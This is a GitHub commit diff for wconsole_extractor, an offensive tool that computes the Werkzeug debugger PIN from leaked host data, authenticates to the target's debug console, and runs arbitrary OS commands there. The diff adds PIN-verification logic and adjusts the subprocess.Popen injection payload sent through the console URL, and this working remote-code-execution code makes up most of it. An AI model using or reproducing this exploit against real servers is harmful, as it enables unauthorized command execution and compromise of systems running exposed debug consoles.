Skip to content

Commit 720e794

Browse files
committed
v1.0.1: removed false positive
1 parent 62947bf commit 720e794

File tree

2 files changed

+27
-5
lines changed

2 files changed

+27
-5
lines changed

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
setuptools.setup(
1111
name="wconsole_extractor",
12-
version="1.0",
12+
version="1.0.1",
1313
description="",
1414
url="https://github.com/Ruulian/wconsole_extractor",
1515
author="Ruulian",

wconsole_extractor/main.py

Lines changed: 26 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
import hashlib
55
from itertools import chain
66
from bs4 import BeautifulSoup as bs
7+
import json
78

89
from prompt_toolkit import PromptSession
910
from prompt_toolkit.shortcuts import clear
@@ -89,6 +90,19 @@ def __init__(self, target:str, leak_function) -> None:
8990
self.pin_code = self.compute_pin()
9091
self.token = self.get_token(content)
9192

93+
if not self.authent():
94+
message = f"""The computed PIN CODE is wrong\n
95+
\rThis behavior can have multiple causes:
96+
\r 1. Your leak function is not accurate
97+
\r 2. The target can have an uuid.getnode() different from the mac address found in /sys/class/net/<device_id>/address
98+
\r 3. WConsole Extractor is not up to date or has an issue (please report on tool's repository)
99+
100+
\rHere are the probably public bits:
101+
\r {self.probably_public_bits}
102+
\rHere are the private bits:
103+
\r {self.private_bits}"""
104+
error(message)
105+
92106
@staticmethod
93107
def parse_environ(environ:str):
94108
l = environ.split("\0")[:-1]
@@ -327,15 +341,23 @@ def get_token(self, token_request_content):
327341
error("Error while finding token")
328342

329343
return token[0]
344+
345+
def authent(self):
346+
authent_path = f"/console?__debugger__=yes&cmd=pinauth&pin={self.pin_code}&s={self.token}"
347+
r = self.get(authent_path)
348+
349+
try:
350+
state = json.loads(r.text)
351+
except:
352+
error("Error during authentication")
353+
return state["auth"]
330354

331355
def exec_cmd(self, cmd:str):
332356
argv = cmd.split(' ')
333357

334-
# Authentication
335-
authent_path = f"/console?__debugger__=yes&cmd=pinauth&pin={self.pin_code}&s={self.token}"
336-
self.get(authent_path)
358+
self.authent()
337359

338-
payload = f"import subprocess; subprocess.Popen({argv}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).communicate()"
360+
payload = f"import subprocess; subprocess.Popen({argv},stdout=subprocess.PIPE,stderr=subprocess.STDOUT).communicate()"
339361
url = f"/console?__debugger__=yes&cmd={payload}&frm=0&s={self.token}"
340362
res = self.get(url)
341363

0 commit comments

Comments
 (0)